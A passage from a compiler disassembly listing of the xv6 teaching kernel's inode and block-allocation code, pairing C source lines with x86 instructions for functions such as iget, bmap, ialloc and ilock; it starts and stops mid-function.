&icache.inode[NINODE]; ip++){ 8010120a: bb 14 0a 11 80 mov $0x80110a14,%ebx { 8010120f: 83 ec 1c sub $0x1c,%esp acquire(&icache.lock); 80101212: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) { 80101219: 89 55 e4 mov %edx,-0x1c(%ebp) acquire(&icache.lock); 8010121c: e8 0f 2f 00 00 call 80104130 <acquire> for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 80101221: 8b 55 e4 mov -0x1c(%ebp),%edx 80101224: eb 14 jmp 8010123a <iget+0x3a> 80101226: 66 90 xchg %ax,%ax if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){ ip->ref++; release(&icache.lock); return ip; } if(empty == 0 && ip->ref == 0) // Remember empty slot. 80101228: 85 f6 test %esi,%esi 8010122a: 74 3c je 80101268 <iget+0x68> for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 8010122c: 81 c3 90 00 00 00 add $0x90,%ebx 80101232: 81 fb 34 26 11 80 cmp $0x80112634,%ebx 80101238: 74 46 je 80101280 <iget+0x80> if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){ 8010123a: 8b 4b 08 mov 0x8(%ebx),%ecx 8010123d: 85 c9 test %ecx,%ecx 8010123f: 7e e7 jle 80101228 <iget+0x28> 80101241: 39 3b cmp %edi,(%ebx) 80101243: 75 e3 jne 80101228 <iget+0x28> 80101245: 39 53 04 cmp %edx,0x4(%ebx) 80101248: 75 de jne 80101228 <iget+0x28> ip->ref++; 8010124a: 83 c1 01 add $0x1,%ecx return ip; 8010124d: 89 de mov %ebx,%esi release(&icache.lock); 8010124f: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) ip->ref++; 80101256: 89 4b 08 mov %ecx,0x8(%ebx) release(&icache.lock); 80101259: e8 c2 2f 00 00 call 80104220 <release> ip->ref = 1; ip->valid = 0; release(&icache.lock); return ip; } 8010125e: 83 c4 1c add $0x1c,%esp 80101261: 89 f0 mov %esi,%eax 80101263: 5b pop %ebx 80101264: 5e pop %esi 80101265: 5f pop %edi 80101266: 5d pop %ebp 80101267: c3 ret 80101268: 85 c9 test %ecx,%ecx 8010126a: 0f 44 f3 cmove %ebx,%esi for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 8010126d: 81 c3 90 00 00 00 add $0x90,%ebx 80101273: 81 fb 34 26 11 80 cmp $0x80112634,%ebx 80101279: 75 bf jne 8010123a <iget+0x3a> 8010127b: 90 nop 8010127c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(empty == 0) 80101280: 85 f6 test %esi,%esi 80101282: 74 29 je 801012ad <iget+0xad> ip->dev = dev; 80101284: 89 3e mov %edi,(%esi) ip->inum = inum; 80101286: 89 56 04 mov %edx,0x4(%esi) ip->ref = 1; 80101289: c7 46 08 01 00 00 00 movl $0x1,0x8(%esi) ip->valid = 0; 80101290: c7 46 4c 00 00 00 00 movl $0x0,0x4c(%esi) release(&icache.lock); 80101297: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 8010129e: e8 7d 2f 00 00 call 80104220 <release> } 801012a3: 83 c4 1c add $0x1c,%esp 801012a6: 89 f0 mov %esi,%eax 801012a8: 5b pop %ebx 801012a9: 5e pop %esi 801012aa: 5f pop %edi 801012ab: 5d pop %ebp 801012ac: c3 ret panic("iget: no inodes"); 801012ad: c7 04 24 f5 6e 10 80 movl $0x80106ef5,(%esp) 801012b4: e8 a7 f0 ff ff call 80100360 <panic> 801012b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801012c0 <bmap>: // Return the disk block address of the nth block in inode ip. // If there is no such block, bmap allocates one. static uint bmap(struct inode *ip, uint bn) { 801012c0: 55 push %ebp 801012c1: 89 e5 mov %esp,%ebp 801012c3: 57 push %edi 801012c4: 56 push %esi 801012c5: 53 push %ebx 801012c6: 89 c3 mov %eax,%ebx 801012c8: 83 ec 1c sub $0x1c,%esp uint addr, *a; struct buf *bp; if(bn < NDIRECT){ 801012cb: 83 fa 0b cmp $0xb,%edx 801012ce: 77 18 ja 801012e8 <bmap+0x28> 801012d0: 8d 34 90 lea (%eax,%edx,4),%esi if((addr = ip->addrs[bn]) == 0) 801012d3: 8b 46 5c mov 0x5c(%esi),%eax 801012d6: 85 c0 test %eax,%eax 801012d8: 74 66 je 80101340 <bmap+0x80> brelse(bp); return addr; } panic("bmap: out of range"); } 801012da: 83 c4 1c add $0x1c,%esp 801012dd: 5b pop %ebx 801012de: 5e pop %esi 801012df: 5f pop %edi 801012e0: 5d pop %ebp 801012e1: c3 ret 801012e2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi bn -= NDIRECT; 801012e8: 8d 72 f4 lea -0xc(%edx),%esi if(bn < NINDIRECT){ 801012eb: 83 fe 7f cmp $0x7f,%esi 801012ee: 77 77 ja 80101367 <bmap+0xa7> if((addr = ip->addrs[NDIRECT]) == 0) 801012f0: 8b 80 8c 00 00 00 mov 0x8c(%eax),%eax 801012f6: 85 c0 test %eax,%eax 801012f8: 74 5e je 80101358 <bmap+0x98> bp = bread(ip->dev, addr); 801012fa: 89 44 24 04 mov %eax,0x4(%esp) 801012fe: 8b 03 mov (%ebx),%eax 80101300: 89 04 24 mov %eax,(%esp) 80101303: e8 c8 ed ff ff call 801000d0 <bread> if((addr = a[bn]) == 0){ 80101308: 8d 54 b0 5c lea 0x5c(%eax,%esi,4),%edx bp = bread(ip->dev, addr); 8010130c: 89 c7 mov %eax,%edi if((addr = a[bn]) == 0){ 8010130e: 8b 32 mov (%edx),%esi 80101310: 85 f6 test %esi,%esi 80101312: 75 19 jne 8010132d <bmap+0x6d> a[bn] = addr = balloc(ip->dev); 80101314: 8b 03 mov (%ebx),%eax 80101316: 89 55 e4 mov %edx,-0x1c(%ebp) 80101319: e8 c2 fd ff ff call 801010e0 <balloc> 8010131e: 8b 55 e4 mov -0x1c(%ebp),%edx 80101321: 89 02 mov %eax,(%edx) 80101323: 89 c6 mov %eax,%esi log_write(bp); 80101325: 89 3c 24 mov %edi,(%esp) 80101328: e8 73 19 00 00 call 80102ca0 <log_write> brelse(bp); 8010132d: 89 3c 24 mov %edi,(%esp) 80101330: e8 ab ee ff ff call 801001e0 <brelse> } 80101335: 83 c4 1c add $0x1c,%esp brelse(bp); 80101338: 89 f0 mov %esi,%eax } 8010133a: 5b pop %ebx 8010133b: 5e pop %esi 8010133c: 5f pop %edi 8010133d: 5d pop %ebp 8010133e: c3 ret 8010133f: 90 nop ip->addrs[bn] = addr = balloc(ip->dev); 80101340: 8b 03 mov (%ebx),%eax 80101342: e8 99 fd ff ff call 801010e0 <balloc> 80101347: 89 46 5c mov %eax,0x5c(%esi) } 8010134a: 83 c4 1c add $0x1c,%esp 8010134d: 5b pop %ebx 8010134e: 5e pop %esi 8010134f: 5f pop %edi 80101350: 5d pop %ebp 80101351: c3 ret 80101352: 8d b6 00 00 00 00 lea 0x0(%esi),%esi ip->addrs[NDIRECT] = addr = balloc(ip->dev); 80101358: 8b 03 mov (%ebx),%eax 8010135a: e8 81 fd ff ff call 801010e0 <balloc> 8010135f: 89 83 8c 00 00 00 mov %eax,0x8c(%ebx) 80101365: eb 93 jmp 801012fa <bmap+0x3a> panic("bmap: out of range"); 80101367: c7 04 24 05 6f 10 80 movl $0x80106f05,(%esp) 8010136e: e8 ed ef ff ff call 80100360 <panic> 80101373: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80101379: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101380 <readsb>: { 80101380: 55 push %ebp 80101381: 89 e5 mov %esp,%ebp 80101383: 56 push %esi 80101384: 53 push %ebx 80101385: 83 ec 10 sub $0x10,%esp bp = bread(dev, 1); 80101388: 8b 45 08 mov 0x8(%ebp),%eax 8010138b: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp) 80101392: 00 { 80101393: 8b 75 0c mov 0xc(%ebp),%esi bp = bread(dev, 1); 80101396: 89 04 24 mov %eax,(%esp) 80101399: e8 32 ed ff ff call 801000d0 <bread> memmove(sb, bp->data, sizeof(*sb)); 8010139e: 89 34 24 mov %esi,(%esp) 801013a1: c7 44 24 08 1c 00 00 movl $0x1c,0x8(%esp) 801013a8: 00 bp = bread(dev, 1); 801013a9: 89 c3 mov %eax,%ebx memmove(sb, bp->data, sizeof(*sb)); 801013ab: 8d 40 5c lea 0x5c(%eax),%eax 801013ae: 89 44 24 04 mov %eax,0x4(%esp) 801013b2: e8 59 2f 00 00 call 80104310 <memmove> brelse(bp); 801013b7: 89 5d 08 mov %ebx,0x8(%ebp) } 801013ba: 83 c4 10 add $0x10,%esp 801013bd: 5b pop %ebx 801013be: 5e pop %esi 801013bf: 5d pop %ebp brelse(bp); 801013c0: e9 1b ee ff ff jmp 801001e0 <brelse> 801013c5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801013c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801013d0 <bfree>: { 801013d0: 55 push %ebp 801013d1: 89 e5 mov %esp,%ebp 801013d3: 57 push %edi 801013d4: 89 d7 mov %edx,%edi 801013d6: 56 push %esi 801013d7: 53 push %ebx 801013d8: 89 c3 mov %eax,%ebx 801013da: 83 ec 1c sub $0x1c,%esp readsb(dev, &sb); 801013dd: 89 04 24 mov %eax,(%esp) 801013e0: c7 44 24 04 c0 09 11 movl $0x801109c0,0x4(%esp) 801013e7: 80 801013e8: e8 93 ff ff ff call 80101380 <readsb> bp = bread(dev, BBLOCK(b, sb)); 801013ed: 89 fa mov %edi,%edx 801013ef: c1 ea 0c shr $0xc,%edx 801013f2: 03 15 d8 09 11 80 add 0x801109d8,%edx 801013f8: 89 1c 24 mov %ebx,(%esp) m = 1 << (bi % 8); 801013fb: bb 01 00 00 00 mov $0x1,%ebx bp = bread(dev, BBLOCK(b, sb)); 80101400: 89 54 24 04 mov %edx,0x4(%esp) 80101404: e8 c7 ec ff ff call 801000d0 <bread> m = 1 << (bi % 8); 80101409: 89 f9 mov %edi,%ecx bi = b % BPB; 8010140b: 81 e7 ff 0f 00 00 and $0xfff,%edi 80101411: 89 fa mov %edi,%edx m = 1 << (bi % 8); 80101413: 83 e1 07 and $0x7,%ecx if((bp->data[bi/8] & m) == 0) 80101416: c1 fa 03 sar $0x3,%edx m = 1 << (bi % 8); 80101419: d3 e3 shl %cl,%ebx bp = bread(dev, BBLOCK(b, sb)); 8010141b: 89 c6 mov %eax,%esi if((bp->data[bi/8] & m) == 0) 8010141d: 0f b6 44 10 5c movzbl 0x5c(%eax,%edx,1),%eax 80101422: 0f b6 c8 movzbl %al,%ecx 80101425: 85 d9 test %ebx,%ecx 80101427: 74 20 je 80101449 <bfree+0x79> bp->data[bi/8] &= ~m; 80101429: f7 d3 not %ebx 8010142b: 21 c3 and %eax,%ebx 8010142d: 88 5c 16 5c mov %bl,0x5c(%esi,%edx,1) log_write(bp); 80101431: 89 34 24 mov %esi,(%esp) 80101434: e8 67 18 00 00 call 80102ca0 <log_write> brelse(bp); 80101439: 89 34 24 mov %esi,(%esp) 8010143c: e8 9f ed ff ff call 801001e0 <brelse> } 80101441: 83 c4 1c add $0x1c,%esp 80101444: 5b pop %ebx 80101445: 5e pop %esi 80101446: 5f pop %edi 80101447: 5d pop %ebp 80101448: c3 ret panic("freeing free block"); 80101449: c7 04 24 18 6f 10 80 movl $0x80106f18,(%esp) 80101450: e8 0b ef ff ff call 80100360 <panic> 80101455: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101459: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101460 <iinit>: { 80101460: 55 push %ebp 80101461: 89 e5 mov %esp,%ebp 80101463: 53 push %ebx 80101464: bb 20 0a 11 80 mov $0x80110a20,%ebx 80101469: 83 ec 24 sub $0x24,%esp initlock(&icache.lock, "icache"); 8010146c: c7 44 24 04 2b 6f 10 movl $0x80106f2b,0x4(%esp) 80101473: 80 80101474: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 8010147b: e8 c0 2b 00 00 call 80104040 <initlock> initsleeplock(&icache.inode[i].lock, "inode"); 80101480: 89 1c 24 mov %ebx,(%esp) 80101483: 81 c3 90 00 00 00 add $0x90,%ebx 80101489: c7 44 24 04 32 6f 10 movl $0x80106f32,0x4(%esp) 80101490: 80 80101491: e8 9a 2a 00 00 call 80103f30 <initsleeplock> for(i = 0; i < NINODE; i++) { 80101496: 81 fb 40 26 11 80 cmp $0x80112640,%ebx 8010149c: 75 e2 jne 80101480 <iinit+0x20> readsb(dev, &sb); 8010149e: 8b 45 08 mov 0x8(%ebp),%eax 801014a1: c7 44 24 04 c0 09 11 movl $0x801109c0,0x4(%esp) 801014a8: 80 801014a9: 89 04 24 mov %eax,(%esp) 801014ac: e8 cf fe ff ff call 80101380 <readsb> cprintf("sb: size %d nblocks %d ninodes %d nlog %d logstart %d\ 801014b1: a1 d8 09 11 80 mov 0x801109d8,%eax 801014b6: c7 04 24 98 6f 10 80 movl $0x80106f98,(%esp) 801014bd: 89 44 24 1c mov %eax,0x1c(%esp) 801014c1: a1 d4 09 11 80 mov 0x801109d4,%eax 801014c6: 89 44 24 18 mov %eax,0x18(%esp) 801014ca: a1 d0 09 11 80 mov 0x801109d0,%eax 801014cf: 89 44 24 14 mov %eax,0x14(%esp) 801014d3: a1 cc 09 11 80 mov 0x801109cc,%eax 801014d8: 89 44 24 10 mov %eax,0x10(%esp) 801014dc: a1 c8 09 11 80 mov 0x801109c8,%eax 801014e1: 89 44 24 0c mov %eax,0xc(%esp) 801014e5: a1 c4 09 11 80 mov 0x801109c4,%eax 801014ea: 89 44 24 08 mov %eax,0x8(%esp) 801014ee: a1 c0 09 11 80 mov 0x801109c0,%eax 801014f3: 89 44 24 04 mov %eax,0x4(%esp) 801014f7: e8 54 f1 ff ff call 80100650 <cprintf> } 801014fc: 83 c4 24 add $0x24,%esp 801014ff: 5b pop %ebx 80101500: 5d pop %ebp 80101501: c3 ret 80101502: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101509: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101510 <ialloc>: { 80101510: 55 push %ebp 80101511: 89 e5 mov %esp,%ebp 80101513: 57 push %edi 80101514: 56 push %esi 80101515: 53 push %ebx 80101516: 83 ec 2c sub $0x2c,%esp 80101519: 8b 45 0c mov 0xc(%ebp),%eax for(inum = 1; inum < sb.ninodes; inum++){ 8010151c: 83 3d c8 09 11 80 01 cmpl $0x1,0x801109c8 { 80101523: 8b 7d 08 mov 0x8(%ebp),%edi 80101526: 89 45 e4 mov %eax,-0x1c(%ebp) for(inum = 1; inum < sb.ninodes; inum++){ 80101529: 0f 86 a2 00 00 00 jbe 801015d1 <ialloc+0xc1> 8010152f: be 01 00 00 00 mov $0x1,%esi 80101534: bb 01 00 00 00 mov $0x1,%ebx 80101539: eb 1a jmp 80101555 <ialloc+0x45> 8010153b: 90 nop 8010153c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi brelse(bp); 80101540: 89 14 24 mov %edx,(%esp) for(inum = 1; inum < sb.ninodes; inum++){ 80101543: 83 c3 01 add $0x1,%ebx brelse(bp); 80101546: e8 95 ec ff ff call 801001e0 <brelse> for(inum = 1; inum < sb.ninodes; inum++){ 8010154b: 89 de mov %ebx,%esi 8010154d: 3b 1d c8 09 11 80 cmp 0x801109c8,%ebx 80101553: 73 7c jae 801015d1 <ialloc+0xc1> bp = bread(dev, IBLOCK(inum, sb)); 80101555: 89 f0 mov %esi,%eax 80101557: c1 e8 03 shr $0x3,%eax 8010155a: 03 05 d4 09 11 80 add 0x801109d4,%eax 80101560: 89 3c 24 mov %edi,(%esp) 80101563: 89 44 24 04 mov %eax,0x4(%esp) 80101567: e8 64 eb ff ff call 801000d0 <bread> 8010156c: 89 c2 mov %eax,%edx dip = (struct dinode*)bp->data + inum%IPB; 8010156e: 89 f0 mov %esi,%eax 80101570: 83 e0 07 and $0x7,%eax 80101573: c1 e0 06 shl $0x6,%eax 80101576: 8d 4c 02 5c lea 0x5c(%edx,%eax,1),%ecx if(dip->type == 0){ // a free inode 8010157a: 66 83 39 00 cmpw $0x0,(%ecx) 8010157e: 75 c0 jne 80101540 <ialloc+0x30> memset(dip, 0, sizeof(*dip)); 80101580: 89 0c 24 mov %ecx,(%esp) 80101583: c7 44 24 08 40 00 00 movl $0x40,0x8(%esp) 8010158a: 00 8010158b: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80101592: 00 80101593: 89 55 dc mov %edx,-0x24(%ebp) 80101596: 89 4d e0 mov %ecx,-0x20(%ebp) 80101599: e8 d2 2c 00 00 call 80104270 <memset> dip->type = type; 8010159e: 0f b7 45 e4 movzwl -0x1c(%ebp),%eax log_write(bp); // mark it allocated on the disk 801015a2: 8b 55 dc mov -0x24(%ebp),%edx dip->type = type; 801015a5: 8b 4d e0 mov -0x20(%ebp),%ecx log_write(bp); // mark it allocated on the disk 801015a8: 89 55 e4 mov %edx,-0x1c(%ebp) dip->type = type; 801015ab: 66 89 01 mov %ax,(%ecx) log_write(bp); // mark it allocated on the disk 801015ae: 89 14 24 mov %edx,(%esp) 801015b1: e8 ea 16 00 00 call 80102ca0 <log_write> brelse(bp); 801015b6: 8b 55 e4 mov -0x1c(%ebp),%edx 801015b9: 89 14 24 mov %edx,(%esp) 801015bc: e8 1f ec ff ff call 801001e0 <brelse> } 801015c1: 83 c4 2c add $0x2c,%esp return iget(dev, inum); 801015c4: 89 f2 mov %esi,%edx } 801015c6: 5b pop %ebx return iget(dev, inum); 801015c7: 89 f8 mov %edi,%eax } 801015c9: 5e pop %esi 801015ca: 5f pop %edi 801015cb: 5d pop %ebp return iget(dev, inum); 801015cc: e9 2f fc ff ff jmp 80101200 <iget> panic("ialloc: no inodes"); 801015d1: c7 04 24 38 6f 10 80 movl $0x80106f38,(%esp) 801015d8: e8 83 ed ff ff call 80100360 <panic> 801015dd: 8d 76 00 lea 0x0(%esi),%esi 801015e0 <iupdate>: { 801015e0: 55 push %ebp 801015e1: 89 e5 mov %esp,%ebp 801015e3: 56 push %esi 801015e4: 53 push %ebx 801015e5: 83 ec 10 sub $0x10,%esp 801015e8: 8b 5d 08 mov 0x8(%ebp),%ebx bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 801015eb: 8b 43 04 mov 0x4(%ebx),%eax memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); 801015ee: 83 c3 5c add $0x5c,%ebx bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 801015f1: c1 e8 03 shr $0x3,%eax 801015f4: 03 05 d4 09 11 80 add 0x801109d4,%eax 801015fa: 89 44 24 04 mov %eax,0x4(%esp) 801015fe: 8b 43 a4 mov -0x5c(%ebx),%eax 80101601: 89 04 24 mov %eax,(%esp) 80101604: e8 c7 ea ff ff call 801000d0 <bread> dip = (struct dinode*)bp->data + ip->inum%IPB; 80101609: 8b 53 a8 mov -0x58(%ebx),%edx 8010160c: 83 e2 07 and $0x7,%edx 8010160f: c1 e2 06 shl $0x6,%edx 80101612: 8d 54 10 5c lea 0x5c(%eax,%edx,1),%edx bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 80101616: 89 c6 mov %eax,%esi dip->type = ip->type; 80101618: 0f b7 43 f4 movzwl -0xc(%ebx),%eax memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); 8010161c: 83 c2 0c add $0xc,%edx dip->type = ip->type; 8010161f: 66 89 42 f4 mov %ax,-0xc(%edx) dip->major = ip->major; 80101623: 0f b7 43 f6 movzwl -0xa(%ebx),%eax 80101627: 66 89 42 f6 mov %ax,-0xa(%edx) dip->minor = ip->minor; 8010162b: 0f b7 43 f8 movzwl -0x8(%ebx),%eax 8010162f: 66 89 42 f8 mov %ax,-0x8(%edx) dip->nlink = ip->nlink; 80101633: 0f b7 43 fa movzwl -0x6(%ebx),%eax 80101637: 66 89 42 fa mov %ax,-0x6(%edx) dip->size = ip->size; 8010163b: 8b 43 fc mov -0x4(%ebx),%eax 8010163e: 89 42 fc mov %eax,-0x4(%edx) memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); 80101641: 89 5c 24 04 mov %ebx,0x4(%esp) 80101645: 89 14 24 mov %edx,(%esp) 80101648: c7 44 24 08 34 00 00 movl $0x34,0x8(%esp) 8010164f: 00 80101650: e8 bb 2c 00 00 call 80104310 <memmove> log_write(bp); 80101655: 89 34 24 mov %esi,(%esp) 80101658: e8 43 16 00 00 call 80102ca0 <log_write> brelse(bp); 8010165d: 89 75 08 mov %esi,0x8(%ebp) } 80101660: 83 c4 10 add $0x10,%esp 80101663: 5b pop %ebx 80101664: 5e pop %esi 80101665: 5d pop %ebp brelse(bp); 80101666: e9 75 eb ff ff jmp 801001e0 <brelse> 8010166b: 90 nop 8010166c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101670 <idup>: { 80101670: 55 push %ebp 80101671: 89 e5 mov %esp,%ebp 80101673: 53 push %ebx 80101674: 83 ec 14 sub $0x14,%esp 80101677: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&icache.lock); 8010167a: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 80101681: e8 aa 2a 00 00 call 80104130 <acquire> ip->ref++; 80101686: 83 43 08 01 addl $0x1,0x8(%ebx) release(&icache.lock); 8010168a: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 80101691: e8 8a 2b 00 00 call 80104220 <release> } 80101696: 83 c4 14 add $0x14,%esp 80101699: 89 d8 mov %ebx,%eax 8010169b: 5b pop %ebx 8010169c: 5d pop %ebp 8010169d: c3 ret 8010169e: 66 90 xchg %ax,%ax 801016a0 <ilock>: { 801016a0: 55 push %ebp 801016a1: 89 e5 mov %esp,%ebp 801016a3: 56 push %esi 801016a4: 53 push %ebx 801016a5: 83 ec 10 sub $0x10,%esp 801016a8: 8b 5d 08 mov 0x8(%ebp),%ebx if(ip == 0 || ip->ref < 1) 801016ab: 85 db test %ebx,%ebx 801016ad: 0f 84 b3 00 00 00 je 80101766 <ilock+0xc6> 801016b3: 8b 53 08 mov 0x8(%ebx),%edx 801016b6: 85 d2 test %edx,%edx 801016b8: 0f 8e a8 00 00 00 jle 80101766 <ilock+0xc6> acquiresleep(&ip->lock); 801016be: 8d 43 0c lea 0xc(%ebx),%eax 801016c1: 89 04 24 mov %eax,(%esp) 801016c4: e8 a7 28 00 00 call 80103f70 <acquiresleep> if(ip->valid == 0){ 801016c9: 8b 43 4c mov 0x4c(%ebx),%eax 801016cc: 85 c0 test %eax,%eax 801016ce: 74 08 je 801016d8 <ilock+0x38> } 801016d0: 83 c4 10 add $0x10,%esp 801016d3: 5b pop %ebx 801016d4: 5e pop %esi 801016d5: 5d pop %ebp 801016d6: c3 ret 801016d7: 90 nop bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 801016d8: 8b 43 04 mov 0x4(%ebx),%eax 801016db: c1 e8 03 shr $0x3,%eax 801016de: 03 05 d4 09 11 80 add 0x801109d4,%eax 801016e4: 89 44 24 04 mov %eax,0x4(%esp) 801016e8: 8b 03 mov (%ebx),%eax 801016ea: 89 04 24 mov %eax,(%esp) 801016ed: e8 de e9 ff ff call 801000d0 <bread> dip = (struct dinode*)bp->data + ip->inum%IPB; 801016f2: 8b 53 04 mov 0x4(%ebx),%edx 801016f5: 83 e2 07 and $0x7,%edx 801016f8: c1 e2 06 shl $0x6,%edx 801016fb: 8d 54 10 5c lea 0x5c(%eax,%edx,1),%edx bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 801016ff: 89 c6 mov %eax,%esi ip->type = dip->type; 80101701: 0f b7 02 movzwl (%edx),%eax memmove(ip->addrs, dip->addrs, sizeof(ip->addrs)); 80101704: 83 c2 0c add $0xc,%edx ip->type = dip->type; 80101707: 66 89 43 50 mov %ax,0x50(%ebx) ip->major = dip->major; 8010170b: 0f b7 42 f6 movzwl -0xa(%edx),%eax 8010170f: 66 89 43 52 mov %ax,0x52(%ebx) ip->minor = dip->minor; 80101713: 0f b7 42 f8 movzwl -0x8(%edx),%eax 80101717: 66 89 43 54 mov %ax,0x54(%ebx) ip->nlink = dip->nlink; 8010171b: 0f b7 42 fa movzwl -0x6(%edx),%eax 8010171f: 66 89 43 56 mov %ax,0x56(%ebx) ip->size = dip->size; 80101723: 8b 42 fc mov -0x4(%edx),%eax 80101726: 89 43 58 mov %eax,0x58(%ebx) memmove(ip->addrs, dip->addrs, sizeof(ip->addrs)); 80101729: 8d 43 5c lea 0x5c(%ebx),%eax 8010172c: 89 54 24 04 mov %edx,0x4(%esp) 80101730: c7 44 24 08 34 00 00 movl $0x34,0x8(%esp) 80101737: 00 80101738: 89 04 24 mov %eax,(%esp) 8010173b: e8 d0 2b 00 00 call 80104310 <memmove> brelse(bp); 80101740: 89 34 24 mov %esi,(%esp) 80101743: e8 98 ea ff ff call 801001e0 <brelse> if(ip->type == 0) 80101748: 66 83 7b 50 00 cmpw $0x0,0x50(%ebx) ip->valid = 1; 8010174d: c7 43 4c 01 00 00 00 movl $0x1,0x4c(%ebx) if(ip->type == 0) 80101754: 0f 85 76 ff ff ff jne 801016d0 <ilock+0x30> panic("ilock: no type"); 8010175a: c7 04 24 50 6f 10 80 movl $0x80106f50,(%esp) 80101761: e8 fa eb ff ff call 80100360 <panic> panic("ilock"); 80101766: c7 04 24 4a 6f 10 80 movl $0x80106f4a,(%esp) 8010176d: e8 ee eb ff ff call 80100360 <panic> 80101772: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101779: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101780 <iunlock>: { 80101780: 55 push %ebp 80101781: 89 e5 mov %esp,%ebp 80101783: 56 push %esi 80101784: 53 push %ebx 80101785: 83 ec 10 sub $0x10,%esp 80101788: 8b 5d 08 mov 0x8(%ebp),%ebx if(ip == 0 || !holdingsleep(&ip->lock) || ip->ref < 1) 8010178b: 85 db test %ebx,%ebx 8010178d: 74 24 je 801017b3 <iunlock+0x33> 8010178f: 8d 73 0c lea 0xc(%ebx),%esi 80101792: 89 34 24 mov %esi,(%esp) 80101795: e8 76 28 00 00 call 80104010 <holdingsleep> 8010179a: 85 c0 test %eax,%eax 8010179c: 74 15 je 801017b3 <iunlock+0x33> 8010179e: 8b 43 08 mov 0x8(%ebx),%eax 801017a1: 85 c0 test %eax,%eax 801017a3: 7e 0e jle 801017b3 <iunlock+0x33> releasesleep(&ip->lock); 801017a5: 89 75 08 mov %esi,0x8(%ebp) } 801017a8: 83 c4 10 add $0x10,%esp 801017ab: 5b pop %ebx 801017ac: 5e pop %esi 801017ad: 5d pop %ebp releasesleep(&ip->lock); 801017ae: e9 1d 28 00 00 jmp 80103fd0 <releasesleep> panic("iunlock"); 801017b3: c7 04 24 5f 6f 10 80 movl $0x80106f5f,(%esp) 801017ba: e8 a1 eb ff ff call 80100360 <panic> 801017bf: 90 nop 801017c0 <iput>: { 801017c0: 55 push %ebp 801017c1: 89 e5 mov %esp,%ebp 801017c3: 57 push %edi 801017c4: 56 push %esi 801017c5: 53 push %ebx 801017c6: 83 ec 1c sub $0x1c,%esp 801017c9: 8b 75 08 mov 0x8(%ebp),%esi acquiresleep(&ip->lock); 801017cc: 8d 7e 0c lea 0xc(%esi),%edi 801017cf: 89 3c 24 mov %edi,(%esp) 801017d2: e8 99 27 00 00 call 80103f70 <acquiresleep> if(ip->valid && ip->nlink == 0){ 801017d7: 8b 56 4c mov 0x4c(%esi),%edx 801017da: 85 d2 test %edx,%edx 801017dc: 74 07 je 801017e5 <iput+0x25> 801017de: 66 83 7e 56 00 cmpw $0x0,0x56(%esi) 801017e3: 74 2b je 80101810 <iput+0x50> releasesleep(&ip->lock); 801017e5: 89 3c 24 mov %edi,(%esp) 801017e8: e8 e3 27 00 00 call 80103fd0 <releasesleep> acquire(&icache.lock); 801017ed: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 801017f4: e8 37 29 00 00 call 80104130 <acquire> ip->ref--; 801017f9: 83 6e 08 01 subl $0x1,0x8(%esi) release(&icache.lock); 801017fd: c7 45 08 e0 09 11 80 movl $0x801109e0,0x8(%ebp) } 80101804: 83 c4 1c add $0x1c,%esp 80101807: 5b pop %ebx 80101808: 5e pop %esi 80101809: 5f pop %edi 8010180a: 5d pop %ebp release(&icache.lock); 8010180b: e9 10 2a 00 00 jmp 80104220 <release> acquire(&icache.lock); 80101810: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 80101817: e8 14 29 00 00 call 80104130 <acquire> int r = ip->ref; 8010181c: 8b 5e 08 mov 0x8(%esi),%ebx release(&icache.lock); 8010181f: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 80101826: e8 f5 29 00 00 call 80104220 <release> if(r == 1){ 8010182b: 83 fb 01 cmp $0x1,%ebx 8010182e: 75 b5 jne 801017e5 <iput+0x25> 80101830: 8d 4e 30 lea 0x30(%esi),%ecx 80101833: 89 f3 mov %esi,%ebx 80101835: 89 7d e4 mov %edi,-0x1c(%ebp) 80101838: 89 cf mov %ecx,%edi 8010183a: eb 0b jmp 80101847 <iput+0x87> 8010183c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101840: 83 c3 04 add $0x4,%ebx { int i, j; struct buf *bp; uint *a; for(i = 0; i < NDIRECT; i++){ 80101843: 39 fb cmp %edi,%ebx 80101845: 74 19 je 80101860 <iput+0xa0> if(ip->addrs[i]){ 80101847: 8b 53 5c mov 0x5c(%ebx),%edx 8010184a: 85 d2 test %edx,%edx 8010184c: 74 f2 je 80101840 <iput+0x80> 